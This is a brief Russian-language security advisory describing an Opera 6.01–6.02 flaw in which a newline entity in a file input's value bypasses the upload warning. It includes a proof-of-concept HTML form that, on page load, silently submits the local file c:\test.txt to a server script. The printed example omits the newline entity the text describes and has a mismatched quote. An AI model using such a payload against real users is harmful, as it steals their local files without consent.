Opera, подобно большинством браузерам, поддерживает элемент <input type=»file»>, который используется для загрузки файлов на HTTP сервер. Так как элемент file очень чувствительный для безопасности, большинство web-браузеров не позволяет устанавливать атрибут «value» (если это удастся, то злонамеренный Web cервер может загружать произвольный локальный файл,
через форму). 

В Opera атрибут «value» может быть установлен, но перед отправкой на сервер, пользователю будет выдано предупреждение: «The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these
files?" 

Если добавить простой «&#10;» (HTML объект, который соответствует ASCII коду символа новой строки (new-line)) к концу атрибута
"value" элемента file, то алгоритм безопасности Opera посчитает, что никакие файлы небыли
переданы, и предупреждение не будет отображено. Опера просто представит форму с желательным файлом, выбранным нападающим. 

Уязвимость обнаружена в Opera version 6.01-6.02 (версии до 6.01 не подвержены этой уязвимости). 

Пример (доставит файл c:/test.txt атакующему серверу): 

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php" 
name="secForm">
<input type="file" name="expFile" value="c:\test.txt» 
style="visibility:hidden">
</form>
</body>

Оставить мнение